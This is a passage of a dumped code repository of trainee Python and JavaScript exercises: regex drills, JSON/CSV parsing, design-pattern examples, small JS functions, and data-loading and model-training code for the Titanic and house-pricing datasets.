2016\"\nre.findall(r'\\d{4}{-\\\\}\\d{2}-\\d{2}', x)\n\n\n#5 Match any 2, 3, or 4 digits.\n\nx = '5555 333 11 66666'\nre.findall(r'\\d{2,4}', x)\n\n#6 How would you find a 4-letter word that ends a string and is preceded by at least one zero?\n#Write regular expression.\nx = 'pppp 0rdgd 0jjjj'\nre.findall(r'0\\w{4}$', x)\n\n#10\n#Return a copy of the string with its first character capitalized and the rest lowercased.\nprint(\"hhhJJJJ\".capitalize())\n#Return the number of non-overlapping occurrences of substring sub in the range [start, end].\nprint(\"hhhJJJJ\".count('h'))\n#Return a list of the words in the string, using sep as the delimiter string.\nprint(\"hhh JJJ J\".split(' '))\n# Return a copy of the string with the leading and trailing characters removed.\nprint(\" hhh JJJ J \".strip())\n\n#11 If brackets are used to define a group, what would match the regular expression\n\nre_ = \"r'(,\\s[0-9]{1,4}){4},\\s[0-9]{1,3}\\.[0-9]\"\n\n#, 135, 1155, 915, 513, 18.8\n\n#12 Please select correct explanation for the regular expression pattern below.\n\n#[^AEIOU] Match anything other than a uppercase vowel." }, { "alpha_fraction": 0.48053181171417236, "alphanum_fraction": 0.5408356785774231, "avg_line_length": 26.324674606323242, "blob_id": "f3813daf9fce1c5f85b977fda040565cf37e62db", "content_id": "d600d9e40d830e6bb205a9f28394da4107962aa7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2106, "license_type": "no_license", "max_line_length": 106, "num_lines": 77, "path": "/tasks02.py", "repo_name": "OctaviaOZ/Python_trainee", "src_encoding": "UTF-8", "text": "double_string = lambda x: sum(1 for s in x if x.count(s*2))\n\n#data = ['aa', 'aaaa', 'abc', 'abcabc', 'qwer', 'qwerqwer']\n#print(double_string(data))\n\ndef morse_number(num):\n\n morse_code = []\n morse_code_append = morse_code.append\n\n for each in num:\n\n int_each = int(each)\n if int_each < 6:\n morse_code_append(\".\" * int_each + \"-\" * (5 - int_each))\n else:\n morse_code_append(\"-\" * (int_each - 5) + \".\" * (10 - int_each))\n\n return \" \".join(morse_code)\n\n#print(morse_number(\"295\"))\n#print(morse_number(\"005\"))\n#print(morse_number(\"513\"))\n#print(morse_number(\"784\"))\n\n\nimport re\nimport math\n\n\ndef figure_perimetr(s):\n y = re.findall(r'([0-9]):', s)\n x = re.findall(r':([0-9])', s)\n \n perimeter = sum(math.sqrt((int(x[i]) - int(x[j])) ** 2 + \\\n (int(y[i]) - int(y[j])) ** 2) \\\n for i, j in [[0, 1], [1, 3], [3, 2], [2, 0]])\n\n return perimeter\n\n#test2 = \"#LB0:1#RB5:1#LT4:5#RT8:3\"\n#print(figure_perimetr(test2))\n\ndef max_population(data):\n\n population_max = max(int(re.findall(r',([0-9]+)',each)[0]) for each in data[1:])\n name_max = [\"\".join(each).split(',')[1] for each in data[1:] if str(population_max) in each]\n\n return (name_max[0], population_max)\n\n\n# data = [\"id,name,poppulation,is_capital\",\n# \"3024,eu_kyiv,24834,y\",\n# \"3025,eu_volynia,20231,n\",\n# \"3026,eu_galych,23745,n\",\n# \"4892,me_medina,18038,n\",\n# \"4401,af_cairo,18946,y\",\n# \"4700,me_tabriz,13421,n\",\n# \"4899,me_bagdad,22723,y\",\n# \"6600,af_zulu,09720,n\"]\n\n#print(max_population(data))\n\ndef pretty_message(s):\n\n mather = re.compile(r\"(.+?)\\1+\")\n replace_list = [(match.group(0), match.group(1)) \\\n for match in mather.finditer(s)]\n for in_, out_ in replace_list:\n s = s.replace(in_, out_)\n\n return s\n\t\ndef pretty_message(data):\n return re.sub(r'(.+?)\\1+\\b', r'\\1', data)\n\t\n#s = \"Thisssssssss isisisis echooooooo stringggg. Replaceaceaceace repeatedededed groupssss of symbolssss\"\t\n\t" }, { "alpha_fraction": 0.5690352320671082, "alphanum_fraction": 0.5834777355194092, "avg_line_length": 24.01449203491211, "blob_id": "4f0d963c166e7835d47212b5ca68da29f98cf6ba", "content_id": "095bc503a60f0d8768d7d9851ed810d0022757b5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1816, "license_type": "no_license", "max_line_length": 80, "num_lines": 69, "path": "/JS/theory1.js", "repo_name": "OctaviaOZ/Python_trainee", "src_encoding": "UTF-8", "text": "\nfunction showName(userName) {\n\t console.log( 'Your name:' + userName);\n\t}\n\n//showName(\"Peter\"); \t// function call\n\nfunction multiplication() {\n let result = 1;\n for (let i = 0; i < arguments.length; i++) {\n \t\t\tresult *= arguments[i];\n }\n console.log(result);\n}\n\n// multiplication(3); \t\t\t// 3\n// multiplication(3, 5); \t\t// 15\n// multiplication(3, 5, 7); \t// 105\n\nfunction multiplication(a, b) {\n let result = a * b;\n return result;\n}\n// let result = multiplication(3, 6);\n// console.log(result); // 18\n\nfunction sayHello() {\n console.log(\"Hi!\");\n}\n// let hello = sayHello;\n// hello(); // \"Hi!\"\n\nfunction sayHello1() {\n console.log(\"Hi!\");\n}\n\n// sayHello1 = null;\n// sayHello1(); // error\n//let sendMessage = function f(){ alert('Some message');};\n//sendMessage();\n// try {\n// console.log('Try block start');\n// // ... Code without errors\n// console.log('Try block end');\n// } catch(error) {\n// console.log('Catch is ignored, because there are no errors');\n// } finally { console.log('Finally block'); }\n//\n// try {\n// console.log('Try block start');\n// c = a + b; // some logic in code\n// console.log('Try block end');\n// } catch(error) {\n// console.log('Error has occurred!');\n// } finally { console.log('Finally block'); }\n\nfunction enterPIN() {\n    let pin = prompt(\"Enter PIN-number (max length 4):\", \"\");\n    if (pin.length > 4) {\n         throw new Error(\"Line length greater than 4 characters\");\n    }\n    return pin;\n}\ntry {\n    let result = enterPIN();\n    console.log(result);\n} catch (exception) { // error object\n    console.log(exception.name); // “Error”\n    console.log(exception.message); // “Line length greater than 4 characters”  \n}\n\n\n\n\n" }, { "alpha_fraction": 0.5559215545654297, "alphanum_fraction": 0.5569695830345154, "avg_line_length": 23.290908813476562, "blob_id": "676e32ba2bc18724110373728f2a7ccd6be524eb", "content_id": "b838612c4edd33def7612eaf70b16aadebf6af01", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6679, "license_type": "no_license", "max_line_length": 102, "num_lines": 275, "path": "/tasks06.py", "repo_name": "OctaviaOZ/Python_trainee", "src_encoding": "UTF-8", "text": "import json\nfrom json import JSONEncoder\nfrom jsonschema import validate\nimport logging\nimport os\nimport csv\n\n\ndef find(file, key):\n\n def get_values(x):\n if x:\n if type(x) == list:\n values_extend(x)\n else:\n values_append(x)\n\n values = []\n values_extend = values.extend\n values_append = values.append\n\n with open(file, 'r') as f:\n json_data = json.load(f)\n\n if type(json_data) == dict:\n get_values(json_data.get(key))\n else:\n for dict_ in json_data:\n get_values(dict_.get(key))\n\n return list(set(values))\n\ndef find_all(data, key):\n result =[]\n\n return set(result)\n\n\ndef find(file, key):\n with open(file, 'r') as f:\n json_data = json.load(f)\n return find_all(json_data, key)\n\n\n\nlogging.basicConfig(filename='app.log', filemode='w', format='%(name)s - %(levelname)s - %(message)s')\n\n\ndef parse_user(output_file, *input_files):\n\n def get_names(d):\n name = d.get('name')\n if name and name not in names:\n output_list_append(d)\n names.add(name)\n\n names = set()\n output_list = []\n output_list_append = output_list.append\n\n for file in input_files:\n\n try:\n with open(file, 'r') as f:\n json_data = json.load(f)\n\n if type(json_data) == dict:\n get_names(json_data)\n else:\n for items in json_data:\n get_names(items)\n\n except FileNotFoundError as e:\n logging.error(f\"File {e.filename} doesn't exists\")\n\n with open(output_file, \"w\") as f:\n json.dump(output_list, f, indent=4)\n\n\nclass DepartmentName(Exception):\n\n def __init__(self, id):\n self.id = id\n self.message = f\"Department with id {self.id} doesn't exists\"\n print(self.message)\n\n def __str__(self):\n return self.message\n\n\nclass InvalidInstanceError(Exception):\n\n def __init__(self, name):\n self.name = name\n self.message = f\"Error in {self.name} schema\"\n print(self.message)\n\n def __str__(self):\n return self.message\n\n\ndef validate_json(data, schema):\n try:\n validate(data, schema)\n return False\n except:\n return True\n\n\ndef user_with_department(csv_file, user_json, department_json):\n def get_data(d):\n\n name_user = d.get('name')\n id_department = d.get('department_id')\n department = [items.get('name') for items in departments \\\n if items.get('id') == id_department]\n\n if not department:\n raise DepartmentName(id_department)\n else:\n return name_user, department[0]\n\n user_schema = {\n \"type\": \"array\",\n \"items\": {\n \"properties\": {\n \"id\": {\"type\": \"number\"},\n \"name\": {\"type\": \"string\"},\n \"department_id\": {\"type\": \"number\"},\n },\n \"required\": [\"name\", \"department_id\"]}\n }\n\n department_schema = {\n \"type\": \"array\",\n \"items\": {\n \"properties\": {\n \"id\": {\"type\": \"number\"},\n \"name\": {\"type\": \"string\"},\n },\n \"required\": [\"id\", \"name\"]}\n }\n\n try:\n\n with open(user_json, 'r') as f:\n users = json.load(f)\n\n with open(department_json, 'r') as f:\n departments = json.load(f)\n\n if validate_json(users, user_schema):\n raise InvalidInstanceError(\"user\")\n elif validate_json(departments, department_schema):\n raise InvalidInstanceError(\"department\")\n\n fields = [\"name\", \"department\"]\n dict_data = []\n dict_data_append = dict_data.append\n\n for items in users:\n name, department = get_data(items)\n dict_data_append({\"name\": name, \"department\": department})\n\n with open(csv_file, 'w') as file:\n writer = csv.DictWriter(file, fieldnames=fields)\n writer.writeheader()\n writer.writerows(dict_data)\n\n except DepartmentName as e:\n return e\n\n except InvalidInstanceError as e:\n return e\n\n\nclass StudentEncoder(JSONEncoder):\n def default(self, o):\n return o.__dict__\n\n\nclass Student:\n\n def __init__(self, full_name: str, avg_rank: float, courses: []):\n self.full_name = full_name\n self.avg_rank = avg_rank\n self.courses = courses\n\n def __str__(self):\n return f'{self.full_name} ({self.avg_rank}): {self.courses}'\n\n def __repr__(self):\n return f'\"{self.full_name} ({self.avg_rank}): {self.courses}\"'\n\n @classmethod\n def from_json(cls, data):\n with open(data, 'r') as f:\n student = json.load(f)\n return Student(**student)\n\n\ndef get_filename(path):\n filename = os.path.basename(path)\n file_name = os.path.splitext(filename)[0]\n\n return file_name\n\n\nclass Group:\n\n def __init__(self, title: str, students: []):\n self.title = title\n self.students = students\n\n def __str__(self):\n return f'{self.title}: {self.students}'\n\n @staticmethod\n def serialize_to_json(list_of_groups, filename):\n data = json.dumps(list_of_groups, cls=StudentEncoder)\n with open(filename, \"w\") as f:\n f.write(data)\n\n @classmethod\n def create_group_from_file(cls, students_file):\n\n with open(students_file, 'r') as f:\n data = json.load(f)\n\n if type(data) == dict:\n students = [Student(**data)]\n else:\n students = [Student(**student) for student in data]\n\n return Group(get_filename(students_file), students)\n\n\nfrom pickle import dump as pickle_dump\nfrom json import dump as json_dump\nfrom enum import Enum\n\n#FileType = Enum(\"FileType\", \"JSON BYTE\")\n\nclass FileType(Enum):\n JSON = 1\n BYTE = 2\n\nclass SerializeManager:\n\n def __init__(self, filename, type_):\n self.filename = filename\n self.type = type_\n self.file = None\n\n def __enter__(self):\n mode = \"wb\" if self.type == FileType.BYTE else \"w\"\n self.file = open(self.filename, mode)\n return self\n\n def __exit__(self, *exc):\n self.file.close()\n return False #?\n\n def serialize(self, object_):\n if self.type == FileType.BYTE:\n pickle_dump(object_, self.file)\n elif self.type == FileType.JSON:\n json_dump(object_, self.file, skipkeys=True)\n\ndef serialize(object, filename, fileType):\n with SerializeManager(filename, fileType) as manager:\n manager.serialize(object)\n\n#user_dict = {\"name\": \"Hallo\", \"id\" : 2}\n#serialize(user_dict, \"2\", FileType.JSON)" }, { "alpha_fraction": 0.5564749836921692, "alphanum_fraction": 0.5639222264289856, "avg_line_length": 39.266666412353516, "blob_id": "94cda5964659fda64ece55b2ca6168717f56cadb", "content_id": "740a6a3379f18b7139b69e50f3bf23c1f794e67e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4834, "license_type": "no_license", "max_line_length": 116, "num_lines": 120, "path": "/DS Titanic docker/utils/dataloader.py", "repo_name": "OctaviaOZ/Python_trainee", "src_encoding": "UTF-8", "text": "import pandas as pd\nimport re\nfrom sklearn.preprocessing import LabelEncoder\n\n\nclass DataLoader(object):\n def fit(self, dataset):\n self.dataset = dataset.copy()\n\n # apply regex\n def get_title(self, name):\n pattern = ' ([A-Za-z]+)\\.'\n title_search = re.search(pattern, name)\n # If the title exists, extract and return it.\n if title_search:\n return title_search.group(1)\n return \"\"\n\n def ticket_split(self, s):\n\n s = s.strip()\n split = s.split()\n\n if len(split) == 1:\n tnum = split[0]\n # there are 4 strange ticket numbers\n # that state 'LINE'. Assign them to 0\n if tnum == 'LINE':\n tnum = 0\n tstr = 'NA'\n\n elif len(split) == 2:\n tstr = split[0]\n tnum = split[1]\n else:\n tstr = split[0] + split[1]\n tnum = split[2]\n\n tnum = int(tnum)\n\n return tstr, tnum\n\n def load_data(self):\n # columns combination\n self.dataset['FamilySize'] = self.dataset['SibSp'] + self.dataset['Parch'] + 1\n\n # Filling the missing value in Fare with the median Fare of 3rd class alone passenger\n med_fare = self.dataset.groupby(['Pclass', 'Parch', 'SibSp']).Fare.median()[3][0][0]\n self.dataset['Fare'] = self.dataset['Fare'].fillna(med_fare)\n\n # binning with qcut\n self.dataset['CategoricalFare'] = pd.qcut(self.dataset['Fare'], 7)\n\n # apply regex\n self.dataset['Title'] = self.dataset['Name'].apply(self.get_title)\n\n # replace\n self.dataset['Title'] = self.dataset['Title'].replace(['Lady', 'Countess', 'Capt', 'Col', \\\n 'Don', 'Dr', 'Major', 'Rev', 'Sir', 'Jonkheer', 'Dona'], 'Rare')\n self.dataset['Title'] = self.dataset['Title'].replace(['Mlle', 'Ms'], 'Miss')\n self.dataset['Title'] = self.dataset['Title'].replace('Mme', 'Mrs')\n\n # grouped by Title, Pclass replaced NaN with group median\n self.dataset['Age'] = self.dataset.groupby(['Title', 'Pclass'])['Age'].apply(lambda x: x.fillna(x.median()))\n # binning with qcut\n self.dataset['CategoricalAge'] = pd.cut(self.dataset['Age'], 9)\n\n # Creating Deck column from the first letter of the Cabin column (M stands for Missing)\n self.dataset['Cabin'] = self.dataset['Cabin'].apply(lambda s: s[0] if pd.notnull(s) else 'M')\n\n # replace\n # Passenger in the T deck is changed to A\n self.dataset['Cabin'] = self.dataset['Cabin'].replace('T', 'A')\n self.dataset['Cabin'] = self.dataset['Cabin'].replace(['A', 'B', 'C'], 'ABC')\n self.dataset['Cabin'] = self.dataset['Cabin'].replace(['D', 'E'], 'DE')\n self.dataset['Cabin'] = self.dataset['Cabin'].replace(['F', 'G'], 'FG')\n\n # fill Nans\n self.dataset.Embarked.fillna('S', inplace=True)\n self.dataset.Gender.fillna('0', inplace=True)\n self.dataset['Title'].fillna('0', inplace=True)\n\n # replase and transform\n #self.dataset['TicketStr'], self.dataset['TicketNum'] = zip(*self.dataset['Ticket'].map(self.ticket_split))\n #self.dataset['TicketFrequency'] = self.dataset.groupby(['TicketNum', 'TicketStr', 'Fare'])\\\n # ['TicketNum'].transform('count')\n\n # new columns\n self.dataset['Single'] = self.dataset['FamilySize'].map(lambda s: 1 if s == 1 else 0)\n self.dataset['SmallFamily'] = self.dataset['FamilySize'].map(lambda s: 1 if s == 2 else 0)\n self.dataset['MedFamily'] = self.dataset['FamilySize'].map(lambda s: 1 if (s == 3)|(s == 4) else 0)\n self.dataset['LargeFamily'] = self.dataset['FamilySize'].map(lambda s: 1 if s >= 5 else 0)\n\n # encode labels\n la = LabelEncoder()\n self.dataset['Gender'] = la.fit_transform(self.dataset['Gender'])\n\n # drop columns\n #drop_cols = ['Fare', 'Age', 'Name', 'FamilySize', 'Parch', 'SibSp',\n # 'PassengerId', 'Ticket', 'Cabin', 'TicketNum', 'TicketStr']\n\n drop_cols = ['Fare', 'Age', 'Name', 'FamilySize', 'Parch', 'SibSp',\n 'PassengerId', 'Ticket']\n\n self.dataset.drop(drop_cols, inplace=True, axis=1)\n\n columns_not_numeric = ['Title', 'CategoricalFare', 'CategoricalAge',\n 'Cabin', 'Embarked']\n for feature in columns_not_numeric:\n self.dataset[feature] = la.fit_transform(self.dataset[feature])\n\n #print(self.dataset.info())\n #print(self.dataset.columns.to_list())\n\n #features = self.dataset.columns.to_list()\n #x = self.dataset.values\n #x = StandardScaler().fit_transform(x)\n #self.dataset = pd.DataFrame(x, columns=features)\n\n return self.dataset.values\n\n\n" }, { "alpha_fraction": 0.49946752190589905, "alphanum_fraction": 0.5367411971092224, "avg_line_length": 33.703704833984375, "blob_id": "1558341c6b8d9fa2f5b3f081737e1add9b3a1856", "content_id": "4a27f13db5f4e41981360a314e2e8f3c8a11a592", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 939, "license_type": "no_license", "max_line_length": 72, "num_lines": 27, "path": "/DS House pricing app/utils/trainer.py", "repo_name": "OctaviaOZ/Python_trainee", "src_encoding": "UTF-8", "text": "from sklearn.linear_model import Lasso\nimport pickle\nimport numpy as np\nimport xgboost as xgb\n\n\nclass Estimator:\n @staticmethod\n def fit(train_x, train_y):\n model = xgb.XGBRegressor(learning_rate=0.01, n_estimators=2048,\n max_depth=5, min_child_weight=0,\n gamma=0, subsample=0.7,\n colsample_bytree=0.7,\n objective='reg:squarederror', nthread=-1,\n scale_pos_weight=1, seed=27,\n reg_alpha=0.00006)\n\n #model = Lasso(alpha=0.0005, selection='random', max_iter=15000)\n #train_y = np.log1p(train_y)\n result = model.fit(train_x, train_y)\n with open('models/XGB.pickle', 'wb')as f:\n pickle.dump(model, f)\n return result\n\n @staticmethod\n def predict(trained, test_x):\n return trained.predict(test_x)\n\n\n" }, { "alpha_fraction": 0.6145488023757935, "alphanum_fraction": 0.6206439733505249, "avg_line_length": 23.420711517333984, "blob_id": "a5762927bb218667edefceb65981df9766705124", "content_id": "981fa37fe5398a100560d0b15449cf0e213dfbd6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7551, "license_type": "no_license", "max_line_length": 93, "num_lines": 309, "path": "/tasks07.py", "repo_name": "OctaviaOZ/Python_trainee", "src_encoding": "UTF-8", "text": "from abc import ABC, abstractmethod\n\nclass Product(ABC):\n\n @abstractmethod\n def cook(self):\n pass\n\nclass FettuccineAlfredo(Product):\n\n name = \"Fettuccine Alfredo\"\n\n def cook(self):\n print(f\"Italian main course prepared: {FettuccineAlfredo.name}\")\n\n\nclass Tiramisu(Product):\n\n name = \"Tiramisu\"\n\n def cook(self):\n print(f\"Italian dessert prepared: {Tiramisu.name}\")\n\nclass DuckALOrange(Product):\n\n name = \"Duck À L'Orange\"\n\n def cook(self):\n print(f\"French main course prepared: {DuckALOrange.name}\")\n\nclass CremeBrulee(Product):\n\n name = \"Crème brûlée\"\n\n def cook(self):\n print(f\"French dessert prepared: {CremeBrulee.name}\")\n\nclass Factory(ABC):\n\n @abstractmethod\n def get_dish(self, type_of_meal):\n pass\n\n\nclass ItalianDishesFactory(Factory):\n\n def get_dish(self, type_of_meal):\n if type_of_meal == \"main\":\n return FettuccineAlfredo()\n else:\n return Tiramisu()\n\nclass FrenchDishesFactory(Factory):\n\n def get_dish(self, type_of_meal):\n if type_of_meal == \"main\":\n return DuckALOrange()\n else:\n return CremeBrulee()\n\n\nclass FactoryProducer:\n\n def get_factory(self, type_of_factory):\n\n if type_of_factory == \"italian\":\n return ItalianDishesFactory()\n else:\n return FrenchDishesFactory()\n\n#behavioral/strategy\nclass Goods:\n\n def __init__(self, price, discount_strategy=None):\n self.price = price\n self.discount_strategy = discount_strategy\n\n @property\n def discount_strategy(self):\n return self._discount_strategy\n\n @discount_strategy.setter\n def discount_strategy(self, discount_strategy):\n self._discount_strategy = discount_strategy\n\n def __str__(self):\n return f\"Price: {self.price}, price after discount: {self.price_after_discount()}\"\n\n def price_after_discount(self):\n if self.discount_strategy:\n discount = self.discount_strategy(self)\n else:\n discount = 0\n return self.price - discount\n\ndef on_sale_discount(order):\n return order.price * 0.5\n\n\ndef twenty_percent_discount(order):\n return order.price * 0.2\n\n#adapter\nclass MotorCycle:\n \"\"\"Class for MotorCycle\"\"\"\n\n def __init__(self):\n self.name = \"MotorCycle\"\n\n def TwoWheeler(self):\n return \"TwoWheeler\"\n\n\nclass Truck:\n\n def __init__(self):\n self.name = \"Truck\"\n\n def EightWheeler(self):\n return \"EightWheeler\"\n\n\nclass Car:\n\n def __init__(self):\n self.name = \"Car\"\n\n def FourWheeler(self):\n return \"FourWheeler\"\n\n\nclass Adapter:\n \"\"\"\n Adapts an object by replacing methods.\n Usage:\n motorCycle = MotorCycle()\n motorCycle = Adapter(motorCycle, wheels = motorCycle.TwoWheeler)\n \"\"\"\n\n def __init__(self, obj, **adapted_methods):\n \"\"\"We set the adapted methods in the object's dict\"\"\"\n self.obj = obj\n #self.__dict__.update(adapted_methods)\n for key, val in adapted_methods.items():\n setattr(self, key, val)\n\n def __getattr__(self, attr):\n \"\"\"All non-adapted calls are passed to the object\"\"\"\n return getattr(self.obj, attr)\n\n def original_dict(self):\n \"\"\"Print original object dict\"\"\"\n return self.obj.__dict__\n\n#facade\nclass Washing:\n\n def __init__(self):\n print(self)\n\n def processing(self):\n print(self)\n\n def __str__(self):\n return \"Washing...\"\n\n\nclass Rinsing:\n\n def __init__(self):\n print(self)\n\n def processing(self):\n print(self)\n\n def __str__(self):\n return \"Rinsing...\"\n\n\nclass Spinning:\n\n def __init__(self):\n print(self)\n\n def processing(self):\n print(self)\n\n def __str__(self):\n return \"Spinning...\"\n\n\nclass WashingMachine:\n\n def __init__(self):\n self.wash = Washing()\n self.rinse = Rinsing()\n self.spin = Spinning()\n\n def startWashing(self):\n self.wash.processing()\n self.rinse.processing()\n self.spin.processing()\n\n#washingMachine = WashingMachine()\n#washingMachine.startWashing()\n\n#composite\nclass LeafElement:\n\n def __init__(self, *args):\n ''''Takes the first positional argument and assigns to member variable \"position\".'''\n self.position = args[0]\n\n def showDetails(self):\n '''Prints the position of the child element.'''\n return f\"\\t\\t{self.position}\"\n\n\nclass CompositeElement:\n\n def __init__(self, *args):\n '''Takes the first positional argument and assigns to member\n variable \"position\". Initializes a list of children elements.'''\n self.position = args[0]\n self._children = []\n self.parent = None\n\n def add(self, child):\n '''Adds the supplied child element to the list of children\n elements \"children\".'''\n self._children.append(child)\n child.parent = self\n\n def remove(self, child):\n '''Removes the supplied child element from the list of\n children elements \"children\".'''\n self._children.remove(child)\n child.parent = None\n\n def showDetails(self):\n '''Prints the details of the component element first. Then,\n iterates over each of its children, prints their details by\n calling their showDetails() method.'''\n if self.parent:\n print(\"\\t\" + self.position)\n else:\n print(self.position)\n for child in self._children:\n sd = child.showDetails()\n if sd:\n print(child.showDetails())\n\n# topLevelMenu = CompositeElement(\"GeneralManager\")\n# print(topLevelMenu)\n\n#composite\nclass LeafElement:\n\n def __init__(self, *args):\n ''''Takes the first positional argument and assigns to member variable \"position\".'''\n self.position = args[0]\n\n def showDetails(self, level=0):\n '''Prints the position of the child element.'''\n print(\"\\t\", end=\"\")\n print(self.position)\n\n\nclass CompositeElement:\n\n def __init__(self, *args):\n '''Takes the first positional argument and assigns to member\n variable \"position\". Initializes a list of children elements.'''\n self.position = args[0]\n self._children = []\n\n def add(self, child):\n '''Adds the supplied child element to the list of children\n elements \"children\".'''\n self._children.append(child)\n\n def remove(self, child):\n '''Removes the supplied child element from the list of\n children elements \"children\".'''\n self._children.remove(child)\n\n def showDetails(self, level=0):\n '''Prints the details of the component element first. Then,\n iterates over each of its children, prints their details by\n calling their showDetails() method.'''\n print(self.position)\n for child in self._children:\n print(\"\\t\"*level, end=\"\")\n child.showDetails(level+1)\n\n# topLevelMenu = CompositeElement(\"GeneralManager\")\n# subMenuItem1 = CompositeElement(\"Manager1\")\n# subMenuItem2 = CompositeElement(\"Manager2\")\n# subMenuItem11 = LeafElement(\"Developer11\")\n# subMenuItem12 = LeafElement(\"Developer12\")\n# subMenuItem21 = LeafElement(\"Developer21\")\n# subMenuItem22 = LeafElement(\"Developer22\")\n# subMenuItem1.add(subMenuItem11)\n# subMenuItem1.add(subMenuItem12)\n# subMenuItem2.add(subMenuItem22)\n# subMenuItem2.add(subMenuItem22)\n# topLevelMenu.add(subMenuItem1)\n# topLevelMenu.add(subMenuItem2)\n# topLevelMenu.showDetails()\n\n" }, { "alpha_fraction": 0.5121268630027771, "alphanum_fraction": 0.5699626803398132, "avg_line_length": 27.986486434936523, "blob_id": "b6b72cc703ddaa16f8e75a39917ef0009316c464", "content_id": "846424ce5ea549f3e02477af7b078843c04fc727", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2144, "license_type": "no_license", "max_line_length": 98, "num_lines": 74, "path": "/JS/Tasks11.js", "repo_name": "OctaviaOZ/Python_trainee", "src_encoding": "UTF-8", "text": "const filterNums1 = (arr, number=0, parameter='greater') => {\n let newArr = arr.filter(value => (parameter === 'greater' && value > number)\n || (parameter === 'less' && value < number));\n return newArr\n};\n\nconst filterNums = (arr, number=0, parameter='greater') => {\n return arr.filter(el => parameter == 'less' ? el < number : el > number);\n};\n\nfunction getCond(num, greater){\n if(greater == 'greater')\n return (el) => el > num\n else\n return (el) => el < num\n}\n\nconst filterNums2 = (arr, num=0, greater='greater') => {\n return arr.filter(getCond(num, greater));\n\n}\n\n\nconsole.log(filterNums2([-2, 2, 3, 0, 43, -13, 6], 6, 'less'));\n\nconst howMuchSec = (seconds_=0, minutes_=0, hours_=0, days_=0, weeks_=0, months_=0, years_=0) =>{\n let val = {\n min_to_sec : 60,\n hour_to_sec : 3600,\n day_to_sec : 86400,\n week_to_sec : 604800,\n month_to_sec : 2592000,\n year_to_sec : 31536000\n }\n //3600*24=86400 seconds per day\n //3600*24*7=604800 seconds per week\n //3600*24*30=2592000 seconds per months\n //3600*24*365=31536000 seconds per year\n return seconds_ + minutes_* val.min_to_sec + hours_* val.hour_to_sec + days_* val.day_to_sec +\n weeks_* val.week_to_sec + months_* val.month_to_sec + years_* val.year_to_sec\n}\n\nconsole.log(howMuchSec(12, 3))\n\nconst maxInterv1 = (...arr) => {\n var MaxInterval = arr.reduce(\n (maxInt, currentValue, index) => {\n return (maxInt > Math.abs(currentValue - arr[index-1]) ?\n maxInt : Math.abs(currentValue - arr[index-1]));\n }\n , 0);\n if(isNaN(MaxInterval)) MaxInterval = 0;\n return MaxInterval;\n }\n\nconst maxInterv = (...arr) => {\n let interval = 0;\n for(let i = 1; i < arr.length; i++){\n const interv = Math.abs(arr[i - 1] - arr[i]);\n if(interv > interval){\n interval = interv;\n }\n }\n return interval;\n}\n\nconsole.log( maxInterv(8))\n\nconst sumOfLen = (...strings) => {\n return strings.reduce(\n (sum, currentString) => sum + currentString.length, 0);\n }\n\n//console.log(sumOfLen('hello', 'hi'));" }, { "alpha_fraction": 0.5549987554550171, "alphanum_fraction": 0.5602605938911438, "avg_line_length": 33.99122619628906, "blob_id": "423d69f3d9321f8d9c89a6b617e2f136f50a10ef", "content_id": "4cb993b64d42df078c7f196ec360ea9476012786", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3991, "license_type": "no_license", "max_line_length": 108, "num_lines": 114, "path": "/DS House pricing app/utils/dataloader.py", "repo_name": "OctaviaOZ/Python_trainee", "src_encoding": "UTF-8", "text": "import numpy as np # linear algebra\nfrom sklearn.preprocessing import LabelEncoder\n\n\nclass DataLoader(object):\n def fit(self, dataset):\n self.dataset = dataset.copy()\n\n def load_data(self):\n #self.dataset['MSSubClass'] = self.dataset['MSSubClass'].apply(str)\n #self.dataset['YrSold'] = self.dataset['YrSold'].astype(str)\n #self.dataset['MoSold'] = self.dataset['MoSold'].astype(str)\n #self.dataset['YearRemodAdd'] = self.dataset['YearRemodAdd'].astype(str)\n\n quantitative = ['LotFrontage', 'MasVnrArea']\n qualitative = ['MasVnrType', 'BsmtQual', 'BsmtCond', 'BsmtExposure', 'BsmtFinType1', 'BsmtFinType2',\n 'Electrical', 'GarageType', 'GarageFinish', 'GarageQual', 'GarageCond']\n\n # Fill missing values for quantitative variables\n for i in quantitative:\n self.dataset.fillna(self.dataset.median(), inplace=True)\n\n # Fill missing values for special variables\n spec_categ_col = ['PoolArea', 'Fence', 'Alley', 'FireplaceQu']\n for i in spec_categ_col:\n self.dataset[i].fillna('None', inplace=True)\n\n # Fill missing values for categorical variables\n for i in qualitative:\n self.dataset[i].fillna(self.dataset[i].mode()[0], inplace=True)\n\n # Feature Engineering\n # Total Floor area of entire house\n #self.dataset['TotalSF'] = self.dataset['TotalBsmtSF'] + self.dataset['1stFlrSF'] + \\\n # self.dataset['2ndFlrSF']\n # Total number of baths\n self.dataset['TotalBath'] = (self.dataset['FullBath'] + (0.5 * self.dataset['HalfBath']) + \\\n self.dataset['BsmtFullBath'] + (0.5 * self.dataset['BsmtHalfBath']))\n # Total porch area\n self.dataset['TotalPorchSF'] = self.dataset['OpenPorchSF'] + self.dataset['3SsnPorch'] + \\\n self.dataset['EnclosedPorch'] + self.dataset['ScreenPorch'] + \\\n self.dataset['WoodDeckSF']\n\n #feature columns with correlation greater than 0.8\n to_drop = ['Id', 'PoolQC', 'MiscFeature']#,'WoodDeckSF'\n self.dataset.drop(to_drop, axis=1, inplace=True)\n\n #quantitative = [f for f in raw_train.columns if raw_train.dtypes[f] != 'object']\n #qualitative = [f for f in raw_train.columns if raw_train.dtypes[f] == 'object']\n\n qualitative = ['MSZoning',\n 'Street',\n 'Alley',\n 'LotShape',\n 'LandContour',\n 'Utilities',\n 'LotConfig',\n 'LandSlope',\n 'Neighborhood',\n 'Condition1',\n 'Condition2',\n 'BldgType',\n 'HouseStyle',\n 'RoofStyle',\n 'RoofMatl',\n 'Exterior1st',\n 'Exterior2nd',\n 'MasVnrType',\n 'ExterQual',\n 'ExterCond',\n 'Foundation',\n 'BsmtQual',\n 'BsmtCond',\n 'BsmtExposure',\n 'BsmtFinType1',\n 